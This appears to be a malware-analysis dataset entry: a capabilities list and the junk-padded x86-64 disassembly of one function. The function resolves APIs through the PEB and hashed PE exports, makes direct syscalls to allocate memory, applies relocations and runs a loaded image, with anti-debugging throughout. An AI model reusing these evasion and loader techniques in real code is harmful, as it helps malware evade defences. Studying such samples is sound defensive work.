Function at 0x14043fe3d
Capabilities:
Access peb ldr_data
Encrypt data using speck
Execute anti-debugging instructions
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
test r12b, 0x52
test rsi, rsi
push r13
test spl, r14b
test r15d, 0x8a950d1
cmp r13b, r11b
push r12
cmp r8, rbx
test sp, di
push rsi
push rdi
push rbp
cmp r12b, 0x47
cmc
push rbx
sub rsp, 0x78
cmp qword [0x1400dd010], 0
je 0x14043fec5
xor eax, eax
ror r15w, cl
lea rcx, [section.KMJPeax0]
nop word cs:[rax + rax]
btc r15d, 0xc1
lea r15, [rax + 0x10]
cmc
cmp dx, r8w
stc
cmp qword [rax + rcx + 0x20], 0
movzx rax, cx
movzx ax, sil
mov rax, r15
jmp 0x14043feba
jne 0x14043fe99
jmp 0x14043fecc
xor r15d, r15d
bts rcx, rdi
movabs r12, 0xcbf29ce484222325
mov r13b, cl
bsr r10, r15
movabs r13, 0x1d12a89b9e723ff5
bsr cx, r15w
ror r8b, 0xb3
btr r8, 0x66
mov rcx, qword gs:[0x30]
rcr r10b, 0x16
dec r8d
setns r10b
mov rcx, qword [rcx + 0x60]
movzx r8w, r12b
mov r10, qword [rcx + 0x18]
add r10, 0x10
bswap r8d
movzx r8w, bl
movsx r8d, r15w
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14043ff35
jmp 0x14043ff48
cmp rbx, r8
jmp 0x14043ff42
je 0x14044004e
mov r10, qword [r10]
jmp 0x14043ff53
mov r9, qword [r10 + 0x30]
cmp ch, 0x6a
stc
test r9, r9
jmp 0x14043ff63
je 0x140440270
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
cmp word [r11 + rdi*2 + 2], 0
jmp 0x14043ff80
lea rdi, [rdi + 1]
jmp 0x14043ff89
jne 0x14043ff74
mov rbx, r12
test r10, 0xdef40d0
cmp r8d, 0x56685ef4
test rdi, rdi
je 0x14043ff3a
xor ecx, ecx
mov rbp, rcx
sbb eax, 0x627918c0
mov rdx, r12
nop word [rax + rax]
xor bpl, r12b
cmc
movzx ebx, word [r11 + rcx*2]
movsx ax, r11b
rcl sil, cl
cmp r10b, al
lea ebp, [rbx - 0x41]
cmovbe rsi, rcx
xor sil, 0x5d
lea esi, [rbx - 0x410]
btr ax, r8w
stc
lea eax, [rbx + 0x20]
stc
clc
cmp si, 0x20
jmp 0x14043fff5
cmovb ebx, eax
cmp r13, r8
test r14w, 0x507c
jmp 0x140440006
cmp bp, 0x1a
jmp 0x14044000f
cmovb ebx, eax
stc
movzx ebx, bx
xor rbx, rdx
imul rbx, r13
bswap dx
movsx rdx, r8w
inc ecx
rol rdx, 0x5b
bsf dx, r13w
neg dl
mov rdx, rbx
clc
jmp 0x14044003b
cmp rcx, rdi
jmp 0x140440043
jb 0x14043ffc0
jmp 0x14043ff3a
test r10, r10
je 0x140440270
movsxd rax, dword [r9 + 0x3c]
xadd dl, dh
mov eax, dword [r9 + rax + 0x88]
bsr rcx, r10
shr ch, 0xb0
lea rcx, [r9 + rax]
cqo
movzx dx, bl
test rax, rax
cmove rcx, rax
ror rdx, 0x50
mov qword [rsp + 0x38], rcx
shl rdx, 0xa4
mov edx, dword [rcx + 0x18]
test edx, edx
je 0x140440270
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x20]
btr r8w, r12w
add rcx, r9
mov qword [rsp + 0x40], rcx
mov r10d, dword [rax + 0x24]
add r10, r9
mov r8d, dword [rax + 0x1c]
add r8, r9
jmp 0x1404400be
xor edi, edi
jmp 0x1404400c5
jmp 0x1404400ec
mov edx, dword [rsp + 0x20]
inc rdi
bsf ax, r14w
bt eax, 0x57
mov eax, ebx
mov eax, edx
cmp rdi, rax
jmp 0x1404400e6
jae 0x140440270
movzx ecx, word [r10 + rdi*2]
btr bx, 0x20
jmp 0x1404400fb
mov ebx, dword [r8 + rcx*4]
clc
cmp dword [r9 + rbx], 0xb8d18b4c
jne 0x1404400ce
mov dword [rsp + 0x20], edx
add bpl, al
jmp 0x14044011a
mov rax, qword [rsp + 0x40]
dec rsi
mov esi, dword [rax + rdi*4]
add bpl, dl
sal bpl, cl
cmc
add rsi, r9
xadd bp, bp
shl bp, cl
mov rbp, 0xffffffffffffffff
test r10b, 0x7c
nop dword [rax + rax]
clc
cmp byte [rsi + rbp + 1], 0
jmp 0x140440151
lea rbp, [rbp + 1]
jmp 0x14044015a
jne 0x140440147
mov rcx, r12
test dil, 0xcc
test rbp, rbp
jmp 0x14044016f
je 0x1404401f4
xor r14d, r14d
rdtsc
rcr al, 0xe5
rol rax, 0x49
mov r11, r12
cmovb rdx, r15
setnp dh
bsf rax, rbx
nop dword [rax]
test r12b, 0x56
rcr rax, 0x25
movzx ecx, byte [rsi + r14]
lea edx, [rcx - 0x41]
sal eax, cl
lea eax, [rcx + 0x20]
cmp eax, 0x22994231
cmp dl, 0x1a
jmp 0x1404401b8
movzx eax, al
jmp 0x1404401c0
cmovae eax, ecx
movsx rcx, al
xor rcx, r11
bts r11w, sp
shld r11d, r9d, 0x65
jmp 0x1404401d9
imul rcx, r13
inc r14d
mov r11, rcx
cmp dl, r12b
cmp r14, rbp
jmp 0x1404401ee
jb 0x14044019e
mov rsi, qword [0x1400dd010]
clc
test rsi, rsi
je 0x1404400ca
lea rbp, [0x1400dd020]
jmp 0x140440211
nop word cs:[rax + rax]
cmc
cmp bx, r8w
cmp rsi, rcx
je 0x14044024b
mov rsi, qword [rbp]
stc
add rbp, 0x10
jmp 0x14044023d
test rsi, rsi
jne 0x140440225
jmp 0x1404400ca
mov eax, dword [rbx + r9 + 4]
movsxd rdx, eax
movzx rdx, r9w
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
movzx rdx, r15w
mov edx, dword [rax + 0x18]
jmp 0x14044026b
jmp 0x1404400ce
test r15, r15
jmp 0x140440278
je 0x140440324
sub ebp, ebp
cmovne cx, r8w
lea rbx, [section.KMJPeax0]
shl dl, 0x29
mov rcx, r12
xor dl, spl
nop dword [rax]
adc edx, 0xd2624c6
shld dx, sp, 0x4d
movzx edx, byte [rbp + rbx + 0x10]
test r11b, r8b
cmc
cmp si, 0x3eaa
xor rcx, rdx
jmp 0x1404402b9
imul rcx, r13
jmp 0x1404402c2
inc ebp
cmp r12b, 0x48
cmp rbp, r15
jmp 0x1404402d0
jb 0x1404402a3
movabs rdx, 0xe9203a08b69f42e8
test sp, ax
lea rcx, [rcx + rdx]
inc rdx
bsf rdx, rsi
movabs rdx, 0x52aea00e8a0b3911
jmp 0x140440300
xor rdx, rcx
sub ecx, r9d
movabs rcx, 0xee16cad6b000daab
test r9b, r14b
test bpl, 0xbd
add rcx, rdx
jmp 0x14044031f
jmp 0x14044032e
movabs rcx, 0xd5d341ba60cb39c7
rol rcx, 0x16
ror eax, 0xd8
movabs rax, 0x957b6a83b7a0090f
xor rax, rcx
stc
adc cl, r8b
btc rcx, 0xdd
movabs rcx, 0xec0e237d69308474
clc
cmc
lea rcx, [rcx + rax]
test rbx, rsi
cmp r15b, spl
mov qword [0x1400b7208], rcx
cmp qword [0x1400de010], 0
jmp 0x140440375
je 0x1404403c6
xor ecx, ecx
rol ax, 0xcc
lea rdx, [section.XenJmyx1]
adc al, r10b
shr ah, 0x86
or rax, 0x7b8906c8
nop
bswap rax
ror ah, cl
lea rax, [rcx + 0x10]
cmp al, r14b
clc
stc
cmp qword [rcx + rdx + 0x20], 0
mov cl, sil
movzx cx, r14b
mov rcx, rax
jmp 0x1404403bb
jne 0x14044039c
jmp 0x1404403c9
sub eax, eax
cmc
mov qword [rsp + 0x60], rax
xor ecx, ecx
jmp 0x1404403d5
jmp 0x1404403f7
mov rcx, qword [rsp + 0x30]
inc rcx
clc
jmp 0x1404403e8
cmp rcx, 8
jmp 0x1404403f1
je 0x1404407f9
lea rax, [0x1400bfdf0]
add r10w, sp
sal r8w, 0x86
mov qword [rsp + 0x30], rcx
btc r10d, 0xae
mov r10b, r15b
test rsp, r12
mov r8, qword [rax + rcx*8]
bt ax, 0x65
movzx r10d, si
mov rax, qword gs:[0x30]
ror r10w, 0xe6
test rdi, rax
mov rax, qword [rax + 0x60]
mov r10, qword [rax + 0x18]
jmp 0x140440443
add r10, 0x10
jmp 0x14044044c
jmp 0x14044045f
cmp rdx, r8
jmp 0x140440459
je 0x140440552
mov r10, qword [r10]
mov r11, qword [r10 + 0x30]
test r11, r11
jmp 0x14044046e
je 0x1404403da
mov r14, qword [r10 + 0x60]
and bh, 0xa4
xchg bh, bl
mov rbx, 0xffffffffffffffff
nop dword [rax]
cmp r10w, 0x578e
cmp word [r14 + rbx*2 + 2], 0
jmp 0x14044049a
lea rbx, [rbx + 1]
jmp 0x1404404a3
jne 0x14044048e
mov rdx, r12
test rbx, rbx
jmp 0x1404404b4
je 0x140440451
sub ecx, ecx
mov dil, dil
mov rdi, r12
lahf
rcr ebp, 0x5f
nop word [rax + rax]
movzx eax, word [r14 + rcx*2]
cdq
sal si, 0x98
test si, 0x4acc
lea edx, [rax - 0x41]
dec bpl
lea esi, [rax - 0x410]
inc bp
sar bp, 0xa3
lea ebp, [rax + 0x20]
jmp 0x1404404f7
cmp si, 0x20
jmp 0x140440500
cmovb eax, ebp
jmp 0x14044050b
cmp dx, 0x1a
not dl
cmovb eax, ebp
movzx rdx, r11w
adc edx, 0x6210411
movzx edx, ax
stc
clc
xor rdx, rdi
imul rdx, r13
inc ecx
movsx di, dl
sar dil, 0xcf
bswap di
mov rdi, rdx
test r13b, 0x32
stc
cmp rcx, rbx
jmp 0x140440547
jb 0x1404404cc
jmp 0x140440451
test r10, r10
jmp 0x14044055a
je 0x1404403da
movzx eax, word [r11]
jmp 0x14044056d
cmp eax, 0x5a4d
jmp 0x140440577
jne 0x1404405b7
movsxd rax, dword [r11 + 0x3c]
cmovle cx, si
lea rcx, [r11 + rax]
cmp dword [r11 + rax], 0x4550
mov ah, dh
movzx ax, cl
movzx rax, bp
cmove r9, r11
mov rax, qword [rsp + 0x58]
jmp 0x1404405a9
cmove rax, rcx
jmp 0x1404405b2
jmp 0x1404405c1
mov rax, qword [rsp + 0x58]
shrd rcx, r12, 0xcf
mov qword [rsp + 0x58], rax
mov ecx, dword [rax + 0x88]
add bpl, r9b
jmp 0x1404405d6
lea rax, [r9 + rcx]
sar bpl, 0x5f
test rcx, rcx
movzx bp, al
movsx rbp, cx
bswap bp
cmove rax, rcx
xadd bpl, bpl
mov ebp, dword [rax + 0x18]
test ebp, ebp
jmp 0x1404405fe
je 0x1404403da
mov r14d, dword [rax + 0x20]
inc cl
shrd cx, r12w, 0x82
add r14, r11
movzx ecx, r15w
mov ecx, dword [rax + 0x24]
test r15w, 0x7709
add rcx, r11
cmc
jmp 0x140440629
mov qword [rsp + 0x40], rcx
cmp r13w, 0x3883
test r14b, sil
jmp 0x14044063c
mov qword [rsp + 0x20], rax
test r15d, 0x62d73282
mov eax, dword [rax + 0x1c]
stc
lea rax, [rax + r11]
mov qword [rsp + 0x38], rax
test al, dh
stc
xor esi, esi
jmp 0x14044065f
jmp 0x1404406de
mov rax, qword [rsp + 0x40]
and bpl, 0xff
test bh, dh
rcl bp, 0xfd
movzx eax, word [rax + rsi*2]
add dl, r8b
mov rdx, qword [rsp + 0x38]
rcl bpl, cl
xchg bpl, bpl
shl bpl, cl
mov eax, dword [rdx + rax*4]
and bp, 0x8bf
add rax, r11
dec bp
setle bpl
mov qword [rcx - 8], rax
mov rax, qword [rsp + 0x20]
movsx ebp, sp
movzx rbp, r11w
movsx bp, spl
mov ebp, dword [rax + 0x18]
movsx ax, bpl
dec rax
mov al, bh
inc rsi
movsx eax, bp
shld rax, rbp, 0xc7
sbb ax, si
mov eax, ebp
test bl, sil
cmp esp, 0x15647e09
cmp rsi, rax
jae 0x1404403da
mov r8d, dword [r14 + rsi*4]
mov bx, 0x61cf
add r8, r11
ror bx, cl
mov rbx, 0xffffffffffffffff
jmp 0x1404406fc
nop dword [rax]
cmp byte [r8 + rbx + 1], 0
jmp 0x14044070b
lea rbx, [rbx + 1]
jne 0x140440700
mov r10, r12
cmp sil, sil
cmc
test rbx, rbx
je 0x14044079f
xor ecx, ecx
mov r15, r12
xor ax, di
rcl edi, cl
nop dword [rax]
ror dl, 0x71
movzx edi, r12w
movzx edi, byte [r8 + rcx]
inc dl
lea eax, [rdi - 0x41]
clc
jmp 0x14044074d
lea edx, [rdi + 0x20]
xadd r10d, r10d
neg r10b
sub r10w, 0x29a8
cmp al, 0x1a
cdqe
xchg r10, rax
movzx ax, r9b
movzx eax, dl
not r10d
xchg r10b, r10b
movsxd r10, r13d
cmovae eax, edi
movsx r10, al
xor r10, r15
movsxd r15, r11d
neg r15w
sal r15b, 0x1a
imul r10, r13
inc ecx
test r8b, dil
mov r15, r10
stc
cmp rcx, rbx
jb 0x14044073d
mov rbx, qword [0x1400de010]
stc
cmc
jmp 0x1404407ad
test rbx, rbx
je 0x1404406bc
lea rcx, [0x1400de020]
stc
nop dword [rax + rax]
cmp r8b, 0x48
test dil, 0x2d
cmp rbx, r10
jmp 0x1404407d3
je 0x140440664
mov rbx, qword [rcx]
add rcx, 0x10
cmc
jmp 0x1404407e6
test rbx, rbx
jmp 0x1404407ee
jne 0x1404407cb
jmp 0x1404406bc
mov rax, qword [rsp + 0x60]
clc
cmc
test r11b, 0x78
test rax, rax
jmp 0x14044080c
je 0x140440855
xor ecx, ecx
lea rbp, [section.XenJmyx1]
nop dword [rax]
bt edx, 0xf
shld edx, esp, 0xaf
movzx edx, byte [rcx + rbp + 0x10]
xor rdx, r12
imul rdx, r13
jmp 0x14044083b
inc ecx
mov r12, rdx
cmc
clc
cmp rcx, rax
jmp 0x14044084a
jb 0x140440826
jmp 0x140440858
mov rdx, r12
rol rdx, 0xb
cmc
movabs rax, 0xdf7ad2359957b5f4
add rax, rdx
bts ecx, eax
mov ecx, ebx
xchg cx, cx
rol rax, 0x16
or cx, r15w
rcr ch, 0x8d
movabs rcx, 0x4934245b3ce013cf
test r12b, 0xbf
jmp 0x140440890
xor rcx, rax
movsx ax, r12b
movzx rax, r9w
movabs rax, 0x5b5c0083c64fa867
add rax, rcx
rcr ecx, 0x97
rol rax, 0xc
add cx, 0x63a4
btc cx, dx
inc rcx
movabs rcx, 0xdd5421de87040723
stc
add rcx, rax
rol rcx, 0x25
mov qword [0x1400b7210], rcx
movsx ax, spl
btc ax, bx
movzx rcx, r11w
mov eax, dword [0x7ffe0014]
sub ecx, r12d
inc cl
mov dword [0x1400b8eb8], eax
xor cx, r15w
movsxd rcx, r8d
bswap rcx
movzx ecx, word [0x140000000]
test rbx, r14
cmp ecx, 0x5a4d
jmp 0x140440913
jne 0x140440958
movsxd rcx, dword [0x14000003c]
cmovne edx, r15d
ror rdx, cl
lea rdx, [0x140000000]
cmp dword [rcx + rdx], 0x4550
jne 0x140440958
lea rbx, [rcx + rdx]
lea r14, [rcx + rdx]
dec cx
add r14, 0x108
mov r12w, 0x5f53
dec rbp
shl r10b, cl
imul eax, eax, 0x41c64e6d
add eax, 0x3039
bt r10d, 0x81
cwd
cdq
imul ecx, eax, 0x41c64e6d
neg r10w
shl r13w, cl
adc r10b, spl
shr eax, 0x10
lea edx, [rax + rax*2]
bswap r9
shr edx, 0x10
rol r12b, 0x93
btc ebp, 0x74
mov r9w, ax
mov ebp, eax
ror r10b, cl
sub ebp, edx
movzx ebp, bp
shld r10w, bp, 0xa4
add r10, rbp
shr ebp, 1
rcl r9b, 6
shrd r9w, si, 0x2e
bts r9w, bx
add ebp, edx
rcr r10b, cl
bsf r10w, r10w
movsxd r12, r8d
movzx r13d, bp
cwd
xadd r10w, dx
rcr r10w, cl
shr r13d, 0xe
shrd r10w, r12w, 0x24
add r13d, eax
and r13d, 0x3fff
movzx ax, r13b
cmp r8w, r9w
and ax, cx
add r13d, 0xfff
ror r12b, 0x90
rcl dl, cl
or dl, 0x30
and r13d, 0x7000
sbb r10b, 0xd6
rcl r12w, 0x4a
add rdx, 0x30ad34b4
add ecx, 0x3039
rdtsc
inc dx
shr r10w, 0xf1
mov dword [0x1400b8eb8], ecx
movzx ax, bpl
rcr r10w, cl
shr ecx, 0x10
rol rdx, cl
lea eax, [rcx + rcx*2]
shr eax, 0x10
adc r10w, 0x243b
dec r9w
mov edx, ecx
sbb r10b, 0x28
bsr r9w, dx
sub edx, eax
sub r10b, 0x58
movzx edx, dx
movzx r9w, bl
shr edx, 1
shl r12w, 0x87
add edx, eax
btr r9, 0x41
bts eax, r9d
movzx r12d, dx
shr r12d, 0xe
movsx r10w, al
rol edx, cl
sbb dl, r14b
add r12d, ecx
stc
neg ah
and r12d, 0x3fff
rol r9, 0xce
cmovs r9w, r9w
cwd
add r12d, 0xfff
and r12d, 0x7000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
lahf
and r9b, 0x68
sar rdx, 0xc8
mov ecx, dword [rbx + 0x50]
or dx, r13w
ror r9w, 0xea
jmp 0x140440adb
add rcx, r12
jmp 0x140440aeb
add rcx, r13
cqo
bts ax, dx
cmp r15b, 0x21
mov qword [rsp + 0x48], rcx
cwde
mov eax, dword [0x1400dd078]
rcl r10w, cl
lea rdx, [rsp + 0x28]
stc
lea r9, [rsp + 0x48]
mov r10, 0xffffffffffffffff
xor r8d, r8d
jmp 0x140440b22
sub rsp, 0x40
jmp 0x140440b2b
mov qword [rsp + 0x28], 0x3000
jmp 0x140440b39
mov qword [rsp + 0x30], 4
jmp 0x140440b47
syscall
add rsp, 0x40
rcr r8b, cl
xor r8b, 0x10
mov rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x48]
xor edx, edx
jmp 0x140440b65
call fcn.1404a169a
mov r15, qword [rsp + 0x28]
jmp 0x140440b75
test r13d, r13d
jmp 0x140440b7d
je 0x140440e21
mov rcx, r13
shr dh, 0x86
sbb bh, 0xf0
shr rcx, 3
cmp rcx, 2
mov edi, r15d
mov bx, 0x483c
mov r8d, 1
cdqe
rdtsc
cmovae r8, rcx
cbw
movzx rbx, r12w
xor r9d, r9d
movzx edi, dx
nop word cs:[rax + rax]
test r10b, 0x46
imul edx, dword [0x1400b8eb8], 0x41c64e6d
sbb ecx, ebp
lahf
add edx, 0x3039
xor ecx, r13d
rcr ebx, cl
or edi, 0x1597462d
imul edi, edx, 0x41c64e6d
bsf rsi, r14
movsxd rax, ebp
mov ebp, edx
movzx ax, r8b
shr ebp, 0x10
cbw
btr ax, 0x12
lea edx, [rbp + rbp*2]
rol bl, cl
movsxd rsi, esi
shl ax, cl
shr edx, 0x10
mov cx, r14w
movsxd rcx, r10d
mov eax, ebp
shrd ecx, eax, 0xdb
movzx esi, r13w
sub eax, edx
movzx eax, ax
rol sil, cl
bts cx, r15w
shr eax, 1
rcl rbx, 0x5a
add eax, edx
rcr dx, 0x9b
jmp 0x140440c40
add edi, 0x3039
setb sil
movzx dx, r8b
xor cl, r14b
movzx edx, ax
cmc
bswap ebx
mov eax, edi
shr eax, 0x10
adc cl, r11b
bts si, sp
lea ebx, [rax + rax*2]
shr edx, 0xe
cmovo esi, esp
xchg si, si
xor cl, 0x14
shr ebx, 0x10
rol esi, 0x28
bswap rsi
mov si, r9w
mov esi, eax
bsf cx, ax
movzx rcx, bp
xadd cl, cl
sub esi, ebx
and ch, 0xb7
xchg cl, cl
mov ecx, edx
jmp 0x140440c9b
movzx esi, si
shr esi, 1
jmp 0x140440ca8
add esi, ebx
shl ecx, 0xf
adc bl, 0x2f
btc ebx, ebp
movzx ebx, si
or esi, r15d
btr si, 0x5d
sete sil
shr ebx, 0xe
shr si, 0xbb
mov esi, ebx
test bpl, 0x7b
cmp sil, r13b
jmp 0x140440cd7
sub edx, ecx
or cx, 0x56d7
shl esi, 0xf
movzx rcx, bp
neg ch
sal cx, cl
sub ebx, esi
add ebx, eax
sar rax, 0x8a
movzx ax, r14b
bt rax, 0x27
add edx, ebp
sbb ecx, 0xae07f3b
bswap rax
xor ebp, ebp
cmp bx, 0x10
movzx ax, cl
cmovnp rax, rcx
setb bpl
and bl, 0x43
sal bx, 0x38
shld ax, bx, 0x77
imul eax, edi, 0x41c64e6d
sal rdi, cl
movzx edi, ax
bt rbx, r9
add eax, 0x3039
shrd rcx, rbx, 0x76
inc cl
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
shr bx, 0xb6
cmp r9b, r12b
movzx rbx, cx
lea ebx, [rax + rax*2]
sal dil, 0x58
shr ebx, 0x10
sbb rdi, r14
mov edi, eax
test al, 0xc8
cmp sil, r10b
sub edi, ebx
stc
test r14b, 0xd9
cmc
movzx edi, di
shr edi, 1
add edi, ebx
cmp r12b, 0x36
movsx ebx, si
rcr bx, 0xce
movzx edx, dx
movzx ebx, di
sal dil, 0xf8
rcl dil, cl
shr ebx, 0xe
sub edi, esp
movsx edi, r13w
rol dil, 0x60
mov edi, ebx
test rbp, 0x17d055c1
jmp 0x140440dac
or rbp, rdx
clc
shl edi, 0xf
sub ebx, edi
cmp bl, r10b
clc
test sil, 0xda
add ebx, eax
cmp r8w, cx
jmp 0x140440dc8
add ecx, 0x3039
cmc
sub eax, eax
cmp bx, 0x20
seto al
xchg al, al
setb al
cmc
test r14b, cl
test dil, 0x7f
mov dword [0x1400b8eb8], ecx
cmc
test bp, 0x5381
or rax, rbp
jmp 0x140440df9
mov qword [r15 + r9*8], rax
jmp 0x140440e02
inc r9
jmp 0x140440e0e
cmp r8, r9
jmp 0x140440e16
jne 0x140440bc3
mov r15, qword [rsp + 0x28]
test r12, r12
jmp 0x140440e29
je 0x1404410a8
sub r15, r12
cwd
rcr dl, 0x14
add r15, qword [rsp + 0x48]
shr r12, 3
cdqe
sar bx, cl
cmp r12, 2
mov r8d, 1
movsx rdi, r13w
movsx esi, bp
cmovae r8, r12
shr bx, 0xcb
shld dx, si, 0x93
xor r9d, r9d
rdtsc
shrd edx, r13d, 0x45
nop
shld ax, bp, 0x1a
movsx cx, r11b
imul edx, dword [0x1400b8eb8], 0x41c64e6d
mov rsi, 0x1b6e39b2
add edx, 0x3039
not bp
imul edi, edx, 0x41c64e6d
ror bx, 0x51
test r13b, 0x12
mov ebp, edx
shr ebp, 0x10
not ax
rcl bl, cl
rcl dh, 0x44
lea edx, [rbp + rbp*2]
shr edx, 0x10
jmp 0x140440ec2
mov ebx, ebp
sub cl, r10b
bsr rsi, rcx
or ax, ax
sub ebx, edx
movzx ebx, bx
bsr si, r15w
movsxd rsi, r12d
shl cx, cl
shr ebx, 1
adc ax, r9w
add ebx, edx
sal rdx, 0xa4
cqo
add edi, 0x3039
cdq
sal dx, 0xf0
cmovns dx, r12w
movzx edx, bx
shrd ebx, eax, 0xb6
sbb ecx, r8d
mov ebx, edi
cwde
sbb al, 0xa3
neg ch
shr ebx, 0x10
lea esi, [rbx + rbx*2]
shr edx, 0xe
shr esi, 0x10
mov eax, ebx
cmc
sub eax, esi
btr rcx, 0xb5
bsf ecx, esi
clc
mov ecx, edx
cmp bx, ax
jmp 0x140440f38
movzx eax, ax
test rbp, 0x1dfb1939
stc
shr eax, 1
cmc
clc
add eax, esi
bt si, r11w
rcr esi, 0xe4
shl ecx, 0xf
jmp 0x140440f59
movzx eax, ax
rol sil, cl
inc sil
bts esi, r14d
shr eax, 0xe
mov esi, eax
jmp 0x140440f72
sub edx, ecx
or cx, bp
sar cl, 0x1a
mov cx, 0x46ec
shl esi, 0xf
sub eax, esi
rol cx, cl
movsxd rcx, eax
add eax, ebx
bt ebx, 0xc9
shld rbx, rsi, 0x40
add edx, ebp
shr bx, cl
clc
sub ebp, ebp
cmp ax, 0x10
movsx eax, si
movsx rbx, bx
setge bh
setb bpl
cmp si, r12w
movzx ebx, cx
imul eax, edi, 0x41c64e6d
add eax, 0x3039
mov dil, 0xfb
shr di, cl
imul ecx, eax, 0x41c64e6d
shld bx, r15w, 0x11
test r11, rdi
add dil, r8b
shr eax, 0x10
clc
inc bh
lea ebx, [rax + rax*2]
xor dil, 0xe
sub dil, 0x92
cmp al, 0xc8
shr ebx, 0x10
mov edi, eax
cmp rdx, r11
sub edi, ebx
cmp bp, di
test r9b, 0xd4
movzx edi, di
test bpl, 0xa3
shr edi, 1
add edi, ebx
rcl bh, 0xb5
not bh
movzx edx, dx
rcr bh, 0xea
movzx ebx, di
rcr rdi, cl
movzx edi, ax
shr ebx, 0xe
stc
sar dil, cl
btr di, r15w
mov edi, ebx
cmp cl, r11b
or rbp, rdx
stc
test al, spl
jmp 0x140441038
shl edi, 0xf
test r14w, 0x7bc9
sub ebx, edi
cmp ch, 0xeb
add ebx, eax
cmp r11, 0x470e01d7
add ecx, 0x3039
test r12b, 0xdd
cmc
xor eax, eax
not al
ror al, cl
cmp bx, 0x20
setb al
mov dword [0x1400b8eb8], ecx
or rax, rbp
jmp 0x140441075
mov qword [r15 + r9*8], rax
jmp 0x14044107e
inc r9
test bl, spl
test r9w, 0x2cd
cmc
cmp r8, r9
jmp 0x140441093
jne 0x140440e79
mov r15, qword [rsp + 0x28]
mov rax, r13
bt ax, r11w
rol al, cl
mov rax, qword [rsp + 0x20]
cmc
stc
lea r15, [r15 + r13]
test rdi, 0x2f7715dd
movzx eax, word [rax + 6]
stc
jmp 0x1404410c7
test rax, rax
jmp 0x1404410cf
je 0x1404411f6
shl rax, 3
stc
rcl bh, 0xbf
cmc
lea rbp, [rax + rax*4]
jmp 0x1404410ee
xor edi, edi
movsx r12, r9w
mov ebx, 4
sbb dh, 0xfa
lea rsi, [rsp + 0x70]
rcr r8, cl
lea r12, [rsp + 0x68]
neg r13w
lea r13, [rsp + 0x54]
nop dword [rax + rax]
mov edx, dword [r14 + rdi + 0xc]
test r12b, 0x7a
not rax
lea rcx, [r15 + rdx]
mov qword [rsp + 0x70], rcx
movzx r8d, si
cwde
lea rax, [0x140000000]
jmp 0x140441140
add rdx, rax
movsx r8w, r9b
jmp 0x140441152
mov r8d, dword [r14 + rdi + 8]
jmp 0x14044115c
call fcn.1404a0bfe
mov eax, dword [r14 + rdi + 8]
mov qword [rsp + 0x68], rax
rol r8b, cl
btr r8d, 0x89
mov dword [rsp + 0x54], 0
jmp 0x140441182
test dword [r14 + rdi + 0x24], 0x20000000
mov r9d, 0x40
cmove r9d, ebx
sbb r10w, 0x7630
bt r10, 0x36
mov eax, dword [0x1400dd088]
mov r10, 0xffffffffffffffff
mov rdx, rsi
mov r8, r12
test sil, 9
jmp 0x1404411c0
sub rsp, 0x30
jmp 0x1404411c9
mov qword [rsp + 0x28], r13
jmp 0x1404411d3
syscall
add rsp, 0x30
clc
jmp 0x1404411df
add rdi, 0x28
jmp 0x1404411e9
cmp ebp, edi
jmp 0x1404411f0
jne 0x140441117
lea rdx, [0x140000000]
sub ecx, 0x785b313c
add al, 0xd6
ror sil, 0x2a
mov rax, r15
sar cl, cl
sub rax, rdx
cmp r8b, cl
and cx, 0x6f47
xor sil, al
mov rsi, qword [rsp + 0x20]
adc ecx, r14d
sub cx, r9w
or cl, bpl
mov ecx, dword [rsi + 0xb0]
add rcx, rdx
je 0x140441320
mov r8d, 1
jmp 0x140441245
jmp 0x140441261
mov ebx, dword [rcx + 4]
test r13, rbp
cmp r12, rsp
add rcx, rbx
jmp 0x14044125b
je 0x140441320
cmp dword [rcx], 0
jmp 0x140441269
je 0x140441320
mov ebx, dword [rcx + 4]
cmc
jmp 0x140441278
test rbx, rbx
jmp 0x140441280
je 0x140441320
lea rbp, [rbx - 8]
cmp rbp, 2
jmp 0x140441293
jb 0x140441253
shr rbp, 1
test r14b, bl
cmp r12, r13
cmp rbp, 2
jmp 0x1404412ab
cmovb rbp, r8
xor ebx, ebx
jmp 0x1404412b6
jmp 0x1404412e4
and edi, 0xfff
mov edx, dword [rcx]
cmp ecx, r15d
test r12b, r13b
test dx, 0x16ee
lea rdi, [rdi + r15]
add qword [rdx + rdi], rax
inc rbx
clc
stc
cmp rbp, rbx
je 0x14044124a
movzx edi, word [rcx + rbx*2 + 8]
cmp edi, 0x1000
jmp 0x1404412f4
jb 0x1404412d6
mov edx, edi
cmp rax, rax
shr edx, 0xc
cmp al, 0x1e
cmp edx, 0xa
je 0x1404412bb
cmp edx, 3
jmp 0x140441315
je 0x1404412bb
jmp 0x1404412d6
mov ecx, dword [rsi + 0xd0]
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x14044133b
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x140441347
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
sar ch, cl
movsxd rcx, r9d
lea rdx, [0x14005d630]
shld ecx, r13d, 0xe0
sbb cl, r10b
add rdx, rax
lea rcx, [0x140000000]
call rdx
nop
add rsp, 0x78
movzx r14d, ax
movsxd rsi, esi
movsx r12w, bpl
pop rbx
pop rbp
pop rdi
xchg r15w, r12w
movsx r15w, r9b
movzx r13d, bx
pop rsi
bswap r14w
sets r14b
pop r12
pop r13
pop r14
movzx r15, sp
pop r15
ret